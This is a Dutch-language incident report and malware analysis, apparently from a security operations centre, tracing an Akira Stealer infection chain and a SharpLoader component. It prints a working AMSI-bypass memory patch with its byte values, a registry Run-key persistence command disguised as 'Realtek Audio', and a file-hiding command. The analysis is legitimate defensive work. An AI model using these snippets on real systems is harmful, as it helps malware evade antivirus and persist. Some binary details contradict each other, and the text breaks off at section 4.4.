Inside Akira Stealer: een volledige technische analyse van een modulaire stealer
Het begon met één Defender-alert in Microsoft 365. Geen malware, geen signatures, geen paniek. Alleen een fluistering in de ruis. Wat we vonden waren maanden van credential theft: chirurgisch, stil en bijna onzichtbaar. Zo maakte ons CSOC van een zwak signaal een volledige respons. En gaf onze klant de controle terug voordat hij wist dat die weg was.

Proloog
Het begon zoals zoveel moderne aanvallen beginnen: stil. Een Defender-alert met lage confidence, "Suspicious sequence of exploration activities", kwam naar boven tijdens de onboarding van een nieuwe klant in ons glueckkanja Cyber Security Operations Center (CSOC).
Er waren geen signature-hits. Geen malwareclassificaties. Geen reactie van real-time protection. Alleen een enkele gedragscorrelatie in Microsoft 365 Defender, begraven in de ruis, en toch onmiskenbaar fout.
Tijdens de triage van het alert viel één specifieke actie op: python.exe had zowel het bestand Login Data als Web Data in een Chromium-profiel geopend. Microsoft Defender escaleerde dit direct naar een incident met hoge severity: "Possible theft of passwords and other sensitive web browser information."
Dit was geen false positive. Het was het topje van iets diepers.
Toen ik de telemetrie terugvolgde, vond ik een generiek uitziende binary in de startup-map, Updater.exe, die een NodeJS-gebaseerde wrapper (main.exe) startte, die vervolgens een commandline uitvoerde om een script met de naam astor.py via python.exe te draaien.
Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py
Het script harkte niet alleen credentials binnen, maar voerde ook een reeks reconnaissance-stappen na de compromittering uit, waaronder registerqueries, system fingerprinting en enumeratie op basis van privileges. Het werkte met chirurgische precisie en bootste native systeemgedrag na om detectie te ontwijken. En het werkte, bijna.
Op het moment van de eerste respons:
Updater.exewerd door slechts 1 van de 69 engines op VirusTotal gemarkeerd.main.exe,astor.pyen alle bijbehorende componenten werden op VirusTotal nauwelijks gemarkeerd.- Geen enkel bestand was gesigneerd. Geen verhoogde rechten. Alleen "gewone" processen die zeer ongewone dingen deden.
Updater.exe raakte geen credentials aan. Die taak was voorbehouden aan astor.py, de Python-payload die volledig in het geheugen liep, een bestand dat door zijn opzet vrijwel geen sporen achterliet.
Binnen 21 minuten was het getroffen systeem geïsoleerd van het netwerk. Binnen 70 minuten waren credentials in alle betrokken scopes geroteerd: interne identiteiten, SaaS-platformen, diensten van derden.
Het echte kantelpunt kwam toen we de Python-payload eruit haalden en volledig ontsleutelden. Wat we vonden was geen generieke stealer, maar een custom deployment van Akira Stealer v2, een commercieel gedistribueerde malwarefamilie die via Telegram wordt verkocht.
Dankzij onze eigen threat intelligence en reverse-engineeringcapaciteiten konden we de volledige functionaliteit van de malware reconstrueren, alle ingebedde indicatoren extraheren en de staging, de exfiltratie en de logica achter het targeten van credentials in detail doorgronden.
Belangrijker nog: we stopten niet bij technische attributie. We gingen verder.
We konden de klant een complete dataset van geëxfiltreerde credentials leveren: meer dan 100 unieke combinaties van gebruikersnaam en wachtwoord, inclusief toegangsgegevens voor clouddiensten, CRM-systemen, interne platformen en zelfs persoonlijke tools van sleutelmedewerkers. De diefstal liep al maanden, en we konden alles ervan verantwoorden.
Met de inzichten uit deze zaak bouwden we een analysetool voor de fase na infectie die getroffen systemen scant, patronen van credentialtoegang reconstrueert en gedetailleerde forensische rapporten genereert, met precies wat er is gestolen, wanneer en waarvandaan.
Aan het einde van dit rapport laten we een glimp van die scanner zien.
Want dit is meer dan een incident. Zo onderzoeken wij. Zo beschermen wij.
Welkom bij het glueckkanja CSOC.
Zo werken wij, want breaches wachten niet.
1. Initiële gebeurtenis en samenvatting van de triage
Op 31 maart 2025 genereerde Microsoft Defender for Endpoint een alert met het label "Suspicious sequence of exploration activities" op een Windows 10 64-bit endpoint. Ik startte de triage op basis van dit signaal en bekeek het getroffen systeem aan de hand van de process tree, de systeemtijdlijn en het door Defender gecorreleerde bewijsmateriaal.
1.1 Triage op basis van de tijdlijn
Het alert wees op een reeks processen die nader onderzoek verdiende. Bij de eerste review zag ik de volgende toegangspatronen tot Chrome-browserdata in het lokale gebruikersprofiel:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
Deze toegangen werden geïnitieerd door een proces met de naam Updater.exe. Microsoft Defender had de binary niet gemarkeerd op basis van heuristische of gedragsanalyse, maar op VirusTotal vond ik wel een detectie voor Updater.exe, op dat moment gemarkeerd door één engine.

De volledig waargenomen execution chain zag er zo uit:
winlogon.exe
└── userinit.exe
└── explorer.exe
└── Updater.exe
└── main.exe
└── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
└── python.exe Crypto\Util\astor.py
In dit stadium was er nog geen diepere statische of dynamische analyse van de betrokken bestanden uitgevoerd. Mijn focus lag op het begrijpen van het gedrag op hoog niveau en de context. De procesnamen en bestandspaden waren generiek en er waren geen verdachte commandline-argumenten aanwezig buiten de geketende Python-uitvoering.
1.2 Eerste respons
Binnen 21 minuten na het eerste alert isoleerde ik de host met de isolatiefuncties van Defender for Endpoint. Het doel was verdere verspreiding of exfiltratie te voorkomen.
Binnen de eerste 70 minuten roteerden we de credentials waarvan bekend was dat ze op de getroffen host werden gebruikt, inclusief interne systemen, SaaS-platformen en kritieke externe leveranciers.
Het reverse-engineeringproces begon na de eerste containment. De volgende secties documenteren de technische deep dive die volgde om de breach te onderzoeken.
1.3 Samenvatting van de respons: snel, transparant, impactgericht
Onze respons combineerde snelheid, expertise en operationele kwaliteit, ondersteund door bewezen workflows en volledige zichtbaarheid voor de klant.
- Van detectie tot volledige containment in minder dan 90 minuten Defender-alerts, netwerkisolatie, antivirusscan en het intrekken van credentials werden snel en in samenhang uitgevoerd.
- Forensische deep dive binnen 48 uur Inclusief volledige disk- en memory-analyse, review van browserartefacten, detectie van credential dumping en gedragsmatige reconstructie van de activiteit van de aanvaller.
- Veilig terughalen van data en omgang met bewijsmateriaal De gestolen data, waaronder cookies, wachtwoorden, tokens en browserprofielen, werd teruggehaald, forensisch gearchiveerd en veilig aan de klant overgedragen.
- End-to-end zichtbaarheid en communicatie Elke stap, van het eerste alert tot remediatie en debrief, werd volledig gedocumenteerd, in real time gedeeld en samengevat in een gestructureerde CSIRT-overdracht.
Dit incident laat zien dat het glueckkanja CSOC niet alleen malware stopt: we ontmantelen de gevolgen, geven onze klanten de controle terug en zetten elk incident om in inzicht.
2. Malware-architectuur en overzicht van de execution chain
De malware die op het getroffen endpoint werd waargenomen volgde een gestructureerde architectuur met meerdere fasen en een duidelijke scheiding van verantwoordelijkheden: deployment, decoding, uitvoering en data-exfiltratie.
2.1 Overzicht van de execution chain
De waargenomen uitvoeringsflow zag er zo uit:
Updater.exe
└── main.exe
└── cmd.exe
└── python.exe astor.py
Elk onderdeel van de keten droeg bij aan stealth, modulariteit en evasion. De architectuur maakte gebruik van legitieme runtimes en standaard OS-interpreters om detectiemechanismen te omzeilen.
2.1.1 Onzekere oorsprong: ontbrekende initiële vector
Ondanks uitgebreide analyse van de omgeving na de compromittering kon de initiële toegangsvector niet met zekerheid worden vastgesteld. Die onzekerheid komt vooral doordat de malware naar schatting zes maanden vóór de detectie al actief was, langer dan de bewaartermijn voor logs die Microsoft Defender for Endpoint hanteert.
Daardoor was er geen telemetrie of forensisch artefact beschikbaar uit de oorspronkelijke periode van de infectie. Er waren geen initiële process creation events, file drops of commandline-entries met betrekking tot de deliveryfase terug te halen uit de tijdlijn van Defender of de bijbehorende sensoren.
Op basis van contextuele indicatoren en OSINT-bronnen kan een waarschijnlijke infectievector het volgende hebben omvat:
- Getrojaniseerde installers van gecrackte of gemodde gamingsoftware
- Nep-utilities of "performance boosters" die via forums en sites van derden werden verspreid
- Kwaadaardige browserextensies die zich richten op specifieke gebruikersinteresses (bijvoorbeeld crypto-tools of Discord-uitbreidingen)
Dit blijft echter speculatief.
Er kon tijdens het onderzoek geen bevestigde dropper, phishingmail of gecompromitteerde website worden geïdentificeerd. De malware-architectuur en de execution chain zijn volledig gereconstrueerd, maar het initiële punt van compromittering (MITRE ATT&CK T1190 / T1566) kon niet worden gevalideerd.
2.1.2 Updater.exe: initiële loader
Bij de review van de process tree in Microsoft 365 Defender viel Updater.exe direct op, niet door wat het deed, maar door hoe stil het zich in de uitvoeringsflow van het systeem nestelde.
Deze binary was geregistreerd voor automatische uitvoering via de standaard Windows Run-key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Dat betekende dat het bij elke aanmelding van de gebruiker werd gestart, een klassiek persistence-mechanisme dat geen verhoogde rechten vereist en vaak onopgemerkt door EDR-telemetrie glipt.
- Bestandstype: Windows PE executable (32-bit)
- Signature: niet gesigneerd
- VirusTotal-detectie: 1 van de 69 engines op het moment van de triage
- Uitvoeringscontext: medium integrity, gebruikerssessie
- Locatie:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Het bestand zelf was klein, netjes gecompileerd en vanuit statische analyse onopvallend. Geen verdachte strings, geen versleutelde secties en geen aanwijzingen voor obfuscation of packing. Het importeerde slechts een minimale set standaard Windows API-functies en bevatte geen ingebedde payload.
Het gedrag was echter sprekender. Zodra Updater.exe was gestart, pakte het een Electron-applicatie uit een gebundeld archief uit, een op zichzelf staande NodeJS-runtime die met standaard Electron-tooling was verpakt. Deze uitgepakte map bevatte een executable met de naam main.exe, die vervolgens als childproces werd gestart.
Updater.exe → main.exe
Er waren in dit stadium geen netwerkindicatoren, geen process injection en geen afwijking in privileges of token elevation. De volledige rol van Updater.exe leek die van een loader te zijn: een component van de tweede fase (main.exe) in de omgeving afleveren, waarschijnlijk met het doel stealth en modulariteit te behouden.
Dit soort architecturale scheiding is gebruikelijk in moderne commodity malware en stealer-toolkits. De initiële loader fungeert slechts als deployment stub, zodat de zwaardere logica, die vaak geobfusceerd, geïnterpreteerd of dynamisch gegenereerd is, in latere fasen kan zitten.
In dit geval diende Updater.exe precies dat doel: een stille eerste voet aan de grond, ontworpen om op te gaan in de omgeving, onopgemerkt te blijven en de weg vrij te maken voor de uitvoering van de eigenlijke stealer-logica in main.exe en uiteindelijk astor.py.
Het raakte het bestandssysteem buiten zijn eigen directory niet aan en triggerde geen gedragsregels, en toch was het de eerste steen in een lange en zorgvuldig geconstrueerde aanvalsketen.
2.1.3 main.exe: geobfusceerde NodeJS payload container
Na de uitvoering van Updater.exe werd een binary van de tweede fase met de naam main.exe gestart. Deze component presenteerde zich als een standaard Electron-applicatie, een runtime-omgeving die Node.js en Chromium bundelt en vaak wordt gebruikt voor cross-platform desktopapps. Juist die onschuldige aard maakt het in de verkeerde handen zo gevaarlijk.
Bij inspectie bleek main.exe een intern archief met de naam app.asar te bevatten, het standaard packagingformaat voor Electron-applicaties. Anders dan bij legitieme Electron-apps was de inhoud van dit archief alles behalve gewoon.
- Platform: Electron (Node.js + Chromium)
- Architectuur: 64-bit Windows
- Contentstructuur: ingebedde JavaScript-bestanden in
app.asar - Mate van obfuscation: hoog, gerealiseerd met
js-confuser, een commercieel verkrijgbare obfuscation-toolkit voor JavaScript
Na decompilatie en deobfuscatie werd de kernlogica van main.exe duidelijk. Het doel was niet om een GUI te tonen of frontendlogica uit te voeren, maar om als verborgen orkestrator van de uitvoering te dienen.
Waargenomen gedrag:
- Ontsleutelt en reconstrueert een Base64-encoded PowerShell-commando dat in de JavaScript-payload is opgeslagen
- Start
cmd.exeom het PowerShell-commando inline uit te voeren - Het PowerShell-commando roept op zijn beurt
python.exeaan en geeft een script mee dat in een op het eerste gezicht onschuldige directorystructuur staat (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py
Door deze ketening kon de aanvaller van uitvoeringscontext wisselen en eenvoudige detectie ontwijken. Omdat de payload geobfusceerd was en in het geheugen werd gestaged, waren traditionele signature-based controles niet effectief.
Het Electron-framework bood ideale dekking en maakte de uitvoering van willekeurige JavaScript mogelijk zonder op te vallen. Uitvoering via JavaScript bracht ook cross-platform compatibiliteit, wat flexibele deployment en eenvoudiger integratie van dynamische besturingslogica toelaat.
Wat main.exe bijzonder gevaarlijk maakte, was het vermogen om te werken zonder extra bestanden te droppen buiten wat al gestaged was. Het stealer-script werd direct vanaf disk aangeroepen, maar alle staging- en uitvoeringslogica bleef in de Electron-bundle zitten.
Samengevat vormde main.exe de geobfusceerde, gelaagde uitvoeringskern en fungeerde het als poortwachter tussen de initiële persistence en de volledige activering van de Akira Stealer-payload in astor.py.
2.1.4 cmd.exe & PowerShell-relay
Deze fase van de execution chain functioneerde als relay, niet voor payloadlogica, maar voor obfuscation en indirectie.
Nadat main.exe zijn rol in het uitpakken en decoderen van de payload had afgerond, startte het een cmd.exe-proces. Dit proces bevatte zelf geen kwaadaardige logica en schreef of wijzigde geen bestanden. Het enige doel was om als wrapper te dienen voor het starten van een PowerShell-sessie met een encoded command.
Deze methode is een bekende tactiek om zichtbaarheid te verkleinen en detectie te vermijden:
- Execution chain:
main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>" - Doel:
- Verpakt de PowerShell-uitvoering in een extra shell
- Verbergt de eigenlijke PowerShell-code voor directe zichtbaarheid in logs
- Ontwijkt EDR's die triggeren op direct gebruik van
powershell.exemet verdachte parameters
Door het PowerShell-script als Base64-encoded string in te bedden en via cmd.exe aan te roepen, ontweek de aanvaller meerdere vormen van detectie:
- Heuristische filters op de commandline
- Standaard logging (bijvoorbeeld Event ID 4104, 4688)
- Rule-based detecties voor
powershell.exe-argumenten zoals-NoProfile,-ExecutionPolicy Bypassof inline scripts
Opvallend is dat het PowerShell-commando minimaal werd gehouden en uitsluitend gericht was op het starten van python.exe met een pad naar het ingebedde stealer-script, astor.py. Er werden geen extra modules geladen en er waren geen duidelijke signatures in het geheugen aanwezig.
Deze relaytechniek wordt vaak gebruikt bij red teaming en door geavanceerde infostealers: een lichte evasion-laag die eenvoudig te implementeren is, maar zonder correlatie van telemetrie moeilijk te betrappen.
In dit geval diende cmd.exe precies dat doel: een simpele, stille brug tussen JavaScript-logica en Python-uitvoering, die bijna onopgemerkt bleef.
2.1.5 python.exe met astor.py
De laatste en meest ingrijpende fase van de execution chain werd bereikt toen python.exe astor.py aanriep, een modulaire infostealer in Python die volledig in het geheugen werkt. Dit script vormde de operationele kern van de hele aanvalsketen.
In tegenstelling tot veel commodity stealers werd astor.py niet in plaintext uitgerold. Het was beschermd door een gelaagd ontsleutelingsmechanisme:
- Decryption stack: het bestand werd eerst met GZIP gecomprimeerd en daarna versleuteld met AES-256-CBC.
- Key derivation: er werd een op PBKDF2 gebaseerd key derivation-proces gebruikt (SHA-512, 1.000.000 iteraties), waardoor statische analyse en brute forcing zeer onpraktisch worden.
Zodra het script tijdens runtime was ontsleuteld, voerde het verschillende gespecialiseerde modules uit, allemaal gericht op gevoelige gegevensbronnen:
Kernfunctionaliteit
- Extractie van browserdata: haalde inloggegevens, cookies en autofill-data uit Chromium-gebaseerde browsers (Chrome, Edge, Brave, Opera)
- Token harvesting: verzamelde sessietokens, met name uit Discord, en scande op extensies voor cryptowallets
- Data packaging: bundelde alle verzamelde data in een gestructureerd ZIP-archief, met behoud van directory- en bestandscontext voor verwerking aan de kant van de aanvaller
- Exfiltratie: uploadde het resulterende archief naar publieke API's en infrastructuur.
Uitvoeringscontext
De volledige stealer-logica werd vanuit het geheugen uitgevoerd, zonder persistente bestanden op disk. Het liet minimale telemetriesporen achter buiten in-process memory-artefacten en standaard subprocess-aanroepen. In deze fase werd geen poging gedaan om persistence op te zetten; het doel was snelle, efficiënte en stille datadiefstal.
Het gebruik van legitieme API's voor exfiltratie maakte detectie en preventie ook aanzienlijk moeilijker, omdat het uitgaande verkeer opging in normale internetactiviteit.
Deze fase bevestigde uiteindelijk de identiteit van de malware: een variant van Akira Stealer v2, bekend om:
- Hoge modulariteit
- Runtime obfuscation
- Commerciële distributie via Telegram
- Sterke focus op credential harvesting en token-based session hijacking
Samen met de eerdere fasen vormde astor.py het kritieke eindpunt van een stealthy en goed doordachte infostealer-keten. In de volgende secties ontleden we dit component verder en leggen we uit hoe we de logica reverse-engineerden, de infrastructuur in kaart brachten en elke indicator of compromise die tijdens de operatie werd gebruikt terughaalden.
3. Deep Dive: Updater.exe
Updater.exe was de eerste binary die tijdens de analyse na de compromittering werd waargenomen. Ondanks het neutrale voorkomen en de verwaarloosbare detectiegraad speelde het een cruciale rol in het behouden van de operationele persistence van de malware en het afleveren van de payload van de volgende fase.
3.1 Eigenschappen
| Eigenschap | Waarde |
|---|---|
| Formaat: | Windows Portable Executable (PE32) |
| Architectuur: | x86-64 |
| Grootte: | ~154 KB |
| Entropie: | normaal (niet gepackt) |
| Signatures: | geen |
| VirusTotal-detectie: | 1/69 op het moment van de analyse |
Het bestand had een schone import table en geen ingebedde string-indicatoren. Er werden geen bekende packers, crypters of runtime obfuscation-mechanismen aangetroffen. De structuur was consistent met custom gecompileerde binaries.
3.2 Gedragsanalyse
Geen gebruikersinteractie nodig
De malwareketen liep zonder dat gebruikersinteractie nodig was. Op basis van de procestelemetrie van Defender werd de initiële binary (Updater.exe) automatisch gestart, waarschijnlijk via een persistence-mechanisme zoals een autorun-key in het register. Door de ouderdom van de compromittering en het ontbreken van historische event logs kon de exacte persistence-methode niet worden achterhaald.
Stille uitvoering en staging
Bij uitvoering startte Updater.exe direct main.exe, zonder venster en zonder prompts voor de gebruiker. De staging vond stil op de achtergrond plaats. Er waren geen aanwijzingen voor dialogen voor gebruikersconsent, UAC-prompts of GUI-componenten.
Gedrag bij het uitrollen van de payload
main.exe bleek deel uit te maken van een Electron-applicatiestructuur, maar de exacte oorsprong van de deployment blijft onduidelijk. Een van de volgende opties wordt aangenomen:
- De payload kan intern in
Updater.exezijn gebundeld (bijvoorbeeld als ingebedde resource), of - Hij kan van een externe bron zijn opgehaald
Door het ontbreken van netwerktelemetrie en het feit dat er geen hardcoded URL is teruggevonden, blijft de deliveryvector voor de Electron-app onbeslist.
Gedrag van de processketen
Na uitvoering startte Updater.exe main.exe als childproces. De aanroep was niet-interactief en geen enkel proces uit de keten vertoonde UI-activiteit. De processketen liep verder zoals verwacht:
Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py
Alle uitvoeringsfasen werkten zonder gebruikersinput en vertrouwden volledig op vooraf geconfigureerde startlogica en stille uitvoeringspaden. Dat beperkte de blootstelling en hielp de malware om over een langere periode onopgemerkt te blijven.
3.3 Rol in de infectieketen
Updater.exe speelde een enkele maar essentiële rol in de bredere infectieketen: het was verantwoordelijk voor de persistence en het opnieuw uitrollen van de component van fase 2, main.exe.
Bevestigde kenmerken
- Het bevatte of voerde geen kwaadaardige logica direct uit
- Het voerde geen data-exfiltratie uit
- Het had geen interactie met credential stores van browsers of gevoelige gebruikersdata
Het enige doel was om main.exe stil te starten bij het aanmelden van de gebruiker, waarbij een autorun-entry in het register de meest waarschijnlijke persistence-methode is (al is die door de beperkte telemetrie niet direct teruggevonden).
Door als geïsoleerde loader in de eerste fase te werken, zorgde Updater.exe ervoor dat de eigenlijke stealer-payload (astor.py) verborgen bleef in diepere uitvoeringslagen. Deze scheiding van taken stelde de aanvallers in staat om:
- Correlatie door statische AV- of sandboxsystemen te vermijden
- Payloads te vervangen of te updaten zonder de loader aan te passen
- Gedragssignalen op het instappunt te verminderen
Dit patroon is typisch voor malware-as-a-service (MaaS)-operaties, waarbij deliverymechanismen generiek zijn en payloads modulair of klantspecifiek.
In dit geval leverde Updater.exe net genoeg logica om als betrouwbaar en onopvallend instappunt te dienen: niets meer, maar ook niets minder.
3.4 Persistence via het register (bevestigd in astor.py)
Statische analyse van de Python-payload liet zien dat Updater.exe expliciet persistent wordt gemaakt via een autorun-vermelding in het register:
- Registerpad:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Naam van de waarde:
Realtek Audio - Pad naar de payload:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Het bijbehorende registercommando wordt via PowerShell uitgevoerd:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f
Daarmee wordt de malware bij elke gebruikersaanmelding gestart. Het bestand krijgt bovendien de attributen hidden en system om detectie verder te bemoeilijken:
attrib +h +s "Updater.exe"
Dit persistence-mechanisme is direct in de code van astor.py ingebouwd, wat bevestigt dat de stealer in de laatste fase actief zorgt dat de loader aanwezig blijft op schijf en in het startup-register.
3.5 Samenvatting
Updater.exewas qua structuur of inhoud niet inherent kwaadaardig, maar het gedrag binnen de uitvoeringsketen bevestigde de rol als malware-loader.
Dit binary diende als schone, minimalistische launcher voor de eerste fase en ontweek daarmee detectie door statische analyse, AV-engines en gedragsregels. Het ontwerp was volledig gericht op stealth en operationele ondersteuning, niet op het uitvoeren van kwaadaardige logica.
De rol ging echter verder dan de initiële uitrol. Bij het reverse-engineeren van de astor.py-payload vonden we logica die actief controleerde of Updater.exe aanwezig was. Die controle maakte deel uit van een bredere health- en self-healing-cyclus in de stealer-code, een mechanisme dat de integriteit van de infectieketen verifieert en ontbrekende componenten indien nodig herstelt.
Dat betekent dat Updater.exe niet alleen verantwoordelijk was voor het starten van de malware, maar ook onderdeel vormde van de doorlopende runtime-validatie. Zonder deze stub kon de malware het vermogen verliezen om in latere sessies opnieuw te initialiseren.
Belangrijkste functies van Updater.exe:
- Soepele uitrol van
main.exe - Indirecte uitvoering van
astor.py - Ontkoppeling van loader- en payload-logica
- Wordt door de payload zelf gerefereerd als onderdeel van operationele health monitoring
In hoofdstuk 5 gaan we in detail in op de interne health-check-routines van de stealer, inclusief het self-healing-gedrag en de mechanismen voor integriteitsvalidatie.
Voor nu is duidelijk dat Updater.exe in deze gelaagde infostealer-architectuur zowel ontsteking als ankerpunt was.
3.6 Extractietruc: de loader te slim af zijn
Soms komen de beste resultaten bij reverse engineering niet uit diepe binaire disassembly, maar uit een beetje trucwerk en geduld.
Tijdens de analyse van de infectie in een gecontroleerde labomgeving viel ons iets vreemds op: Updater.exe was aanwezig en actief, maar main.exe was verdwenen uit het bestandssysteem. Toen kwam het idee: wat gebeurt er als we de malware zichzelf laten repareren?
We hebben main.exe bewust verwijderd uit de geïnfecteerde omgeving en Updater.exe ongemoeid gelaten. En inderdaad, na de volgende aanmelding van de gebruikerssessie kwam de loader in actie, niet met een driftbui, maar met een stille poging om de tweede fase opnieuw op te bouwen.
Hier werd het interessant: in plaats van main.exe direct opnieuw aan te maken, zette Updater.exe eerst een bestand met de naam app-64.7z neer, een standaard 7-Zip-archief. Dat archief bevatte de volledige Electron-applicatiestructuur, inclusief main.exe, resources en de app.asar-payload met alle ingebedde logica.
We hadden de malware feitelijk gedwongen het bronpakket aan ons te overhandigen.

Met dit 7z-archief in handen konden we de op JavaScript gebaseerde orkestratielogica volledig uitpakken, decomprimeren en reverse-engineeren zonder de originele loader nog aan te raken. De structuur van het archief kwam exact overeen met de verwachte layout van een Electron-app.
Dit gedrag suggereert sterk dat de aanvallers bewust voor een modulaire en onderhoudbare architectuur hebben gekozen, met archieven als flexibele containers voor payloads. Het stelde hen ook in staat payload-componenten te vervangen of te updaten zonder de loader-binary opnieuw te compileren.
En in ons geval? Het stelde ons in staat hun keten te slim af te zijn, de drop te onderscheppen en met het volledige pakket weg te lopen, alsof je de bouwtekeningen van de werkbank steelt terwijl de bouwer even niet kijkt.
Laten we het zo zeggen: soms zijn de beste forensische tools del, wait en een beetje nieuwsgierigheid.
4. Deep dive: pow.bat
In de geanalyseerde malwarecampagne fungeert het component Invoke-SharpLoader als een op maat gemaakte, in het geheugen residente .NET-loader met een sterk modulaire en evasieve uitvoeringsflow. Dit hoofdstuk ontleedt de interne architectuur, de anti-analysestrategie via AMSI-patching en de rol bij het faciliteren van de payload voor de tweede fase.
4.1 Eigenschappen van het binary – SharpLoader Batch Wrapper
Voordat de .NET-payload in het geheugen wordt geladen, laat de buitenste wrapper pow.bat op basis van statische analyse de volgende kenmerken zien:
| Eigenschap | Waarde |
|---|---|
| Formaat: | DOS Batch File |
| Architectuur: | Scriptgebaseerd (geen gecompileerd binary) |
| Bestandsgrootte: | 27.79 KB (28454 bytes) |
| Entropie: | Normaal (platte ASCII-tekst) |
| Magic: | DOS batch file, ASCII text |
| Digitale signatuur: | Geen aangetroffen |
| VirusTotal-detectie: | 26 / 61 (op moment van analyse) |
| Threat labels: | trojan, downloader, powershell, agentb |
Ondanks dat het een eenvoudig .bat-bestand is, ontwijkt het script veel statische detecties en leunt het zwaar op living-off-the-land-technieken zoals PowerShell om geobfusceerde en versleutelde payloads te downloaden en uit te voeren.
4.2 AMSI-bypasstechniek (class: gofor4msi)
Een van de eerste verdedigingsmechanismen die SharpLoader omzeilt is AMSI, de Anti-Malware Scan Interface, een Microsoft-functie die in scripting engines zoals PowerShell en Windows Script Host is geïntegreerd om inhoud in realtime op verdacht gedrag te scannen. Malware-auteurs proberen AMSI vaak te omzeilen om detectie door endpointbeveiliging te voorkomen.
In SharpLoader is de AMSI-bypass geïmplementeerd via direct patchen in het geheugen van de functie AmsiScanBuffer in amsi.dll. Die functie analyseert normaal gesproken de inhoud van scripts en geeft een resultaatcode terug die aangeeft of de inhoud verdacht (AMSI_RESULT_DETECTED) of veilig (AMSI_RESULT_CLEAN) is.
De relevante code voor het patchen in het geheugen is:
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
Deze reeks doorloopt de volgende stappen:
- De AMSI-DLL laden in het proces met
LoadLibrary("amsi.dll"). - Het geheugenadres opzoeken van de functie
AmsiScanBufferviaGetProcAddress(). - De geheugenbescherming wijzigen van dat adres met
VirtualProtect()zodat er geschreven kan worden. - Het begin van de functie overschrijven met
Marshal.Copy()en een kleine shellcode-patch.
De patch voor 64-bits systemen is:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
Dat komt overeen met de volgende instructies:
mov eax, 0x80070057→ zet de returncode op de Windows-foutcodeE_INVALIDARGret→ springt onmiddellijk terug uit de functie
Hierdoor faalt AmsiScanBuffer stil en geeft het een niet-detectieresultaat terug, waarmee de AMSI-controles worden uitgeschakeld. De malware kan nu scripts of .NET-code uitvoeren die anders antivirus-alarmen zouden triggeren.
Op een 32-bits systeem wordt een andere patch toegepast:
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18
Het doel is hetzelfde, namelijk een "clean" resultaat forceren, maar aangepast aan de x86 calling convention.
Door ruwe P/Invoke-aanroepen zoals LoadLibrary, GetProcAddress en VirtualProtect te gebruiken, kan het patchen dynamisch gebeuren zonder high-level API's aan te roepen die door EDR-tools gemonitord worden. Deze methode is compact, effectief en laat minimale forensische artefacten achter.
Samengevat is deze AMSI-bypasstechniek een low-level, directe geheugenaanval op de antivirus-interface, uitgevoerd in milliseconden tijdens runtime. Het is een sterk voorbeeld van waarom gedragsmonitoring en geheugeninspectie essentieel zijn in moderne endpointverdediging.
4.3 Verwerking van de payload in fase 2
Nadat de AMSI-bypass is afgerond, haalt de loader de payload voor de tweede fase op en bereidt deze voor. Die payload zit niet in de loader zelf, maar wordt ofwel van een externe server gehaald ofwel van schijf gelezen, afhankelijk van hoe de loader via de parameter $location wordt aangeroepen.
Begint de locatie met http, dan wordt die als URL geïnterpreteerd en gebruikt de loader Get_Stage2() om de payload via HttpWebRequest te downloaden. Bij een lokaal pad leest Get_Stage2disk() de inhoud direct uit het bestandssysteem. In beide gevallen is de verwachte bestandsinhoud een blob die Base64-encoded, GZip-gecomprimeerd en AES-versleuteld is.
De loader doorloopt vervolgens volledig in het geheugen een pipeline van vier fasen voor decodering en decryptie:
- Base64-decodering: zet de gecodeerde string om in ruwe bytes. Deze stap is bedoeld om de werkelijke binaire inhoud te verbergen voor tools voor statische inspectie en voorkomt eenvoudige pattern matching.
- GZip-decompressie: de gedecodeerde bytes gaan naar een
GZipStream, die de payload decomprimeert. Compressie verkleint de bestandsgrootte en voegt nog een laag obfuscation toe. - AES-decryptie: de gecomprimeerde bytes worden ontsleuteld met AES (Rijndael) in CBC-modus. De key wordt tijdens runtime afgeleid van het door de gebruiker opgegeven wachtwoord met SHA-256-hashing in combinatie met PBKDF2 (
Rfc2898DeriveBytes) en een statische salt. - Salt verwijderen: het ontsleutelde resultaat bevat nog een salt-prefix met vaste lengte (4 bytes). Die bytes worden handmatig verwijderd om de schone binaire blob te verkrijgen die een geldige .NET-assembly vormt.
De decryptie-pipeline wordt zo uitgevoerd:
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);
AES_Decrypt() is hier een eigen functie die het Rijndael-algoritme omhult, geconfigureerd met een 256-bits key en een 128-bits IV (initialisatievector), beide afgeleid van het wachtwoord.
Belangrijke observaties over het ontwerp:
- Het gebruik van AES-CBC met PBKDF2 maakt brute-forcen van het wachtwoord verre van triviaal.
- Omdat de decryptie in het geheugen gebeurt, worden er nooit tussenresultaten naar schijf geschreven, wat forensische artefacten beperkt.
- Bij een verkeerd wachtwoord faalt de decryptie stil of levert het ongeldige data op, wat kan leiden tot mislukte uitvoering of moeilijk te traceren excepties.
Samengevat legt deze aanpak met meerdere fasen de lat aanzienlijk hoger voor zowel signature- als heuristiekgebaseerde statische detectie. Zonder live uitvoering of diepgaande inspectie van het loader-gedrag zullen verdedigers de ingebedde payload nauwelijks blootleggen zonder ook het wachtwoord en de exacte decodeerlogica te kennen.
4.4 Dynamisch laden van assemblies
